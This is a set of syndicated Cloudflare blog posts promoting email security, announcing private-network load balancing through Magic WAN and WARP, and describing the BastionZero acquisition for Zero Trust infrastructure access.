While phishing, despite being around for three decades, continues to be a clear and present danger, effective detections in a seamless and comprehensive solution are really the only way to stay protected these days.

If you’re simply thinking about purchasing email security by itself, you can see why that just isn’t enough. Multi-layered protection is absolutely necessary to protect modern workforces, because work and data don’t just sit in email. They’re everywhere and on every device. Your phishing protection needs to be as well.

While you can do this by stitching together multiple vendors, it just won’t all work together. And besides the cost, a multi-vendor approach also usually increases overhead for investigation, maintenance, and uniformity for IT teams that are already stretched thin.

Whether or not you are at the start of your journey with Cloudflare, you can see how getting different parts of the Cloudflare One product suite can help holistically with phishing. And if you are already deep in your journey with Cloudflare, and are looking for 99.99% effective email detections trusted by the Fortune 500, global organizations, and even government entities, you can see how our Email Security helps.

If you’re running Office 365, and you’d like to see what we can catch that your current provider cannot, you can start right now with Retro Scan.

And if you are using our Email Security solution already, you can learn more about our comprehensive protection here.

Eliminating hardware with Load Balancing and Cloudflare One

Post Syndicated from Noah Crouch original https://blog.cloudflare.com/eliminating-hardware-with-load-balancing-and-cloudflare-one


In 2023, Cloudflare introduced a new load balancing solution supporting Local Traffic Management (LTM). This year, we took it a step further by introducing support for layer 4 load balancing to private networks via Spectrum. Now, organizations can seamlessly balance public HTTP(S), TCP, and UDP traffic to their privately hosted applications. Today, we’re thrilled to unveil our latest enhancement: support for end-to-end private traffic flows as well as WARP authenticated device traffic, eliminating the need for dedicated hardware load balancers! These groundbreaking features are powered by the enhanced integration of Cloudflare load balancing with our Cloudflare One platform, and are available to our enterprise customers. With this upgrade, our customers can now utilize Cloudflare load balancers for both public and private traffic directed at private networks.

Cloudflare Load Balancing today

Before discussing the new features, let’s review Cloudflare’s existing load balancing support and the challenges customers face.

Cloudflare currently supports four main load balancing traffic flows:

  1. Internet-facing load balancers connecting to publicly accessible endpoints at layer 7, supporting HTTP(S).
  2. Internet-facing load balancers connecting to publicly accessible endpoints at layer 4 (Spectrum), supporting TCP and UDP services
  3. Internet-facing load balancers connecting to private endpoints at layer 7 HTTP(S) via Cloudflare Tunnels.
  4. Internet-facing load balancers connecting to private endpoints at layer 4 (Spectrum), supporting TCP and UDP services via Cloudflare Tunnels.

One of the biggest advantages of Cloudflare’s load balancing solutions is the elimination of hardware costs and maintenance. Unlike hardware-based load balancers, which are costly to purchase, license, operate, and upgrade, Cloudflare’s solution requires no hardware. There’s no need to buy additional modules or new licenses, and you won’t face end-of-life issues with equipment that necessitate costly replacements.

With Cloudflare, you can focus on innovation and growth. Load balancers are deployed in every Cloudflare data center across the globe, in over 300 cities, providing virtually unlimited scale and capacity. You never need to worry about bandwidth constraints, deployment locations, extra hardware modules, downtime, upgrades, or supply chain constraints. Cloudflare’s global Anycast network ensures that every customer connects to a nearby data center and load balancer, where policies, rules, and steering are applied efficiently. And now, the resilience, scale, and simplicity of Cloudflare load balancers can be integrated into your private networks! We have worked hard to ensure that Cloudflare load balancers are highly available and disaster ready, from the core to the edge – even when datacenters lose power.

Keeping private resources private with Magic WAN

Before today’s announcement, all of Cloudflare’s load balancers operating at layer 4 have been connected to the public Internet. Customers have been able to secure the traffic flowing to their load balancers with WAF rules and Zero Trust policies, but some customers would prefer to keep certain resources private and under no circumstances exposed to the Internet. It’s been possible to isolate origin servers and endpoints this way, which can exist on private networks that are only accessible via Cloudflare Tunnels. And as of today, we can offer a similar level of isolation to customers’ layer 4 load balancers.

In our previous LTM blog post, we discussed connecting these internal or private resources to the Cloudflare global network and how Cloudflare would soon introduce load balancers that are accessible via private IP addresses. Unlike other Cloudflare load balancers, these do not have an associated hostname. Rather, they are accessible via an RFC 1918 private IP address. In the land of load balancers, this is often referred to as a virtual IP (VIP). As of today, load balancers that are accessible at private IPs can now be used within a virtual network to isolate traffic to a certain set of Cloudflare tunnels, enabling customers to load balance traffic within their private network without exposing applications to the public Internet.

The question you might be asking is, “If I have a private IP load balancer and privately hosted applications, how do I or my users actually reach these now-private services?”

Cloudflare Magic WAN can now be used as an on-ramp in tandem with Cloudflare load balancers that are accessible via an assigned private IP address. Magic WAN provides a secure and high-performance connection to internal resources, ensuring that traffic remains private and optimized across our global network. With Magic WAN, customers can connect their corporate networks directly to Cloudflare’s global network with GRE or IPSec tunnels, maintaining privacy and security while enjoying seamless connectivity. The Magic WAN Connector easily establishes connectivity to Cloudflare without the need to configure network gear, and it can be deployed at any physical or cloud location! With the enhancements to Cloudflare’s load balancing solution, customers can confidently keep their corporate applications resilient while maintaining the end-to-end privacy and security of their resources.

This enhancement opens up numerous use cases for internal load balancing, such as managing traffic between different data centers, efficiently routing traffic for internally hosted applications, optimizing resource allocation for critical applications, and ensuring high availability for internal services. Organizations can now replace traditional hardware-based load balancers, reducing complexity and lowering costs associated with maintaining physical infrastructure. By leveraging Cloudflare load balancing and Magic WAN, companies can achieve greater flexibility and scalability, adapting quickly to changing network demands without the need for additional hardware investments.

But what about latency? Load balancing is all about keeping your applications resilient and performant and Cloudflare was built with speed at its core. There is a Cloudflare datacenter within 50ms of 95% of the Internet-connected population globally! Now, we support all Cloudflare One on-ramps to not only provide seamless and secure connectivity, but also to dramatically reduce latency compared to legacy solutions. Load balancing also works seamlessly with Argo Smart Routing to intelligently route around network congestion to improve your application performance by up to 30%! Check out the blogs here and here to read more about how Cloudflare One can reduce application latency.

Supporting distributed users with Cloudflare WARP

But what about when users are distributed and not connected to the local corporate network? Cloudflare WARP can now be used as an on-ramp to reach Cloudflare load balancers that are configured with private IP addresses. The Cloudflare WARP client allows you to protect corporate devices by securely and privately sending traffic from those devices to Cloudflare’s global network, where Cloudflare Gateway can apply advanced web filtering. The WARP client also makes it possible to apply advanced Zero Trust policies that check a device’s health before it connects to corporate applications.

In this load balancing use case, WARP pairs up perfectly with Cloudflare Tunnels so that customers can place their private origins within virtual networks to help either isolate traffic or handle overlapping private IP addresses. Once these virtual networks are defined, administrators can configure WARP profiles to allow their users to connect to the proper virtual networks. Once connected, WARP takes the configuration of the virtual networks and installs routes on the end users’ devices. These routes will tell the end user’s device how to reach the Cloudflare load balancer that was created with a private, non-publicly routable IP address. The administrator could then create a DNS record locally that would point to that private IP address. Once DNS resolves locally, the device would route all subsequent traffic over the WARP connection. This is all seamless to the user and occurs with minimal latency.

How we connected load balancing to Cloudflare One

In contrast to public L4 or L7 load balancers, private L4 load balancers are not going to have publicly addressable hostnames or IP addresses, but we still need to be able to handle their traffic. To make this possible, we had to integrate existing load balancing services with private networking services created by our Cloudflare One team. To do this, upon creation of a private load balancer, we now assign a private IP address within the customer’s virtual network. When traffic destined for a private load balancer enters Cloudflare, our private networking services make a request to load balancing to determine which endpoint to connect to. The information in the response from load balancing is used to connect directly to a privately hosted endpoint via a variety of secure traffic off-ramps. This differs significantly from our public load balancers where traffic is off-ramped to the public internet. In fact, we can now direct traffic from any on-ramp to any off-ramp! This allows for significant flexibility in architecture. For example, not only can we direct WARP traffic to an endpoint connected via GRE or IPSec, but we can also off-ramp this traffic to Cloudflare Tunnel, a CNI connection, or out to the public internet! Now, instead of purchasing a bespoke load balancing solution for each traffic type, like an application or network load balancer, you can configure a single load balancing solution to handle virtually any permutation of traffic that your business needs to run!

Getting started with internal load balancing

We are excited to be releasing these new load balancing features that solve critical connectivity issues for our customers and effectively eliminate the need for a hardware load balancer. Cloudflare load balancers now support end-to-end private traffic flows with Cloudflare One. To get started with configuring this feature, take a look at our load balancing documentation.

We are just getting started with our local traffic management load balancing support. There is so much more to come including user experience changes, enhanced layer 4 session affinity, new steering methods, refined control of egress ports, and more.

Cloudflare acquires BastionZero to extend Zero Trust access to IT infrastructure

Post Syndicated from Kenny Johnson original https://blog.cloudflare.com/cloudflare-acquires-bastionzero


We’re excited to announce that BastionZero, a Zero Trust infrastructure access platform, has joined Cloudflare. This acquisition extends our Zero Trust Network Access (ZTNA) flows with native access management for infrastructure like servers, Kubernetes clusters, and databases.

Security teams often prioritize application and Internet access because these are the primary vectors through which users interact with corporate resources and external threats infiltrate networks. Applications are typically the most visible and accessible part of an organization’s digital footprint, making them frequent targets for cyberattacks. Securing application access through methods like Single Sign-On (SSO) and Multi-Factor Authentication (MFA) can yield immediate and tangible improvements in user security.

However, infrastructure access is equally critical and many teams still rely on castle-and-moat style network controls and local resource permissions to protect infrastructure like servers, databases, Kubernetes clusters, and more. This is difficult and fraught with risk because the security controls are fragmented across hundreds or thousands of targets. Bad actors are increasingly focusing on targeting infrastructure resources as a way to take down huge swaths of applications at once or steal sensitive data. We are excited to extend Cloudflare One’s Zero Trust Network Access to natively protect infrastructure with user- and device-based policies along with multi-factor authentication.

Application vs. infrastructure access

Application access typically involves interacting with web-based or client-server applications. These applications often support modern authentication mechanisms such as Single Sign-On (SSO), which streamline user authentication and enhance security. SSO integrates with identity providers (IdPs) to offer a seamless and secure login experience, reducing the risk of password fatigue and credential theft.

Infrastructure access, on the other hand, encompasses a broader and more diverse range of systems, including servers, databases, and network devices. These systems often rely on protocols such as SSH (Secure Shell), RDP (Remote Desktop Protocol), and Kubectl (Kubernetes) for administrative access. The nature of these protocols introduces additional complexities that make securing infrastructure access more challenging.

  • SSH Authentication: SSH is a fundamental tool for accessing Linux and Unix-based systems. SSH access is typically facilitated through public key authentication, through which a user is issued a public/private key pair that a target system is configured to accept. These keys must be distributed to trusted users, rotated frequently, and monitored for any leakage. If a key is accidentally leaked, it can grant a bad actor direct control over the SSH-accessible resource.
  • RDP Authentication: RDP is widely used for remote access to Windows-based systems. While RDP supports various authentication methods, including password-based and certificate-based authentication, it is often targeted by brute force and credential stuffing attacks.
  • Kubernetes Authentication: Kubernetes, as a container orchestration platform, introduces its own set of authentication challenges. Access to Kubernetes clusters involves managing roles, service accounts, and kubeconfig files along with user certificates.

Infrastructure access with Cloudflare One today

Cloudflare One facilitates Zero Trust Network Access (ZTNA) for infrastructure resources with an approach superior to traditional VPNs. An administrator can define a set of identity, device, and network-aware policies that dictate if a user can access a specific IP address, hostname, and/or port combination. This allows you to create policies like “Only users in the identity provider group ‘developers’ can access resources over port 22 (default SSH port) in our corporate network,” which is already much finer control than a VPN with basic firewall policies would allow.

However, this approach still has limitations, as it relies on a set of assumptions about how corporate infrastructure is provisioned and managed. If an infrastructure resource is configured outside of the assumed network structure, e.g. SSH over a non-standard port is allowed, all network-level controls may be bypassed. This leaves only the native authentication protections of the specific protocol protecting that resource and is often how leaked SSH keys or database credentials can lead to a wider system outage or breach.

Many organizations will leverage more complex network structures like a bastion host model or complex Privileged Access Management (PAM) solutions as an added defense-in-depth strategy. However, this leads to significantly more cost and management overhead for IT security teams and sometimes complicates challenges related to least-privileged access. Tools like bastion hosts or PAM solutions end up eroding least-privilege over time because policies expand, change, or drift from a company’s security stance. This leads to users incorrectly retaining access to sensitive infrastructure.

How BastionZero fits in

While our goal for years has been to help organizations of any size replace their VPNs as simply and quickly as possible, BastionZero expands the scope of Cloudflare’s VPN replacement solution beyond apps and networks to provide the same level of simplicity for extending Zero Trust controls to infrastructure resources. This helps security teams centralize the management of even more of their hybrid IT environment, while using standard Zero Trust practices to keep DevOps teams productive and secure. Together, Cloudflare and BastionZero can help organizations replace not only VPNs but also bastion hosts; SSH, Kubernetes, or database key management systems; and redundant PAM solutions.

BastionZero provides native integration to major infrastructure access protocols and targets like SSH, RDP, Kubernetes, database servers, and more to ensure that a target resource is configured to accept connections for that specific user, instead of relying on network level controls. This allows administrators to think in terms of resources and targets, not IP addresses and ports. Additionally, BastionZero leverages OpenPubKey, an open source library that uses two forms of authentication to generate an OpenID Connect (OIDC) token, which avoids single point of failure risks inherent to a standalone Identity Provider.

BastionZero will add the following capabilities to Cloudflare’s SASE platform:

  • The elimination of long-lived keys/credentials through frictionless infrastructure privileged access management (PAM) capabilities that modernize credential management (e.g., SSH keys, kubeconfig files, database passwords) through a new ephemeral, decentralized approach.
  • A DevOps-based approach for securing SSH connections to support least privilege access that records sessions and logs every command for better visibility to support compliance requirements. Teams can operate in terms of auto-discovered targets, not IP addresses or networks, as they define just-in-time access policies and automate workflows.
  • Clientless RDP to support access to desktop environments without the overhead and hassle of installing a client on a user’s device.

What’s next for BastionZero

The BastionZero team will be focused on integrating their infrastructure access controls directly into Cloudflare One. During the third and fourth quarters of this year, we will be announcing a number of new features to facilitate Zero Trust infrastructure access via Cloudflare One. All functionality delivered this year will be included in the Cloudflare One free tier for organizations less than 50 users. We believe that everyone should have access to world-class security controls.

We are looking for early beta testers and teams to provide feedback about what they would like to see with respect to infrastructure access. If you are interested in learning more, please sign up here.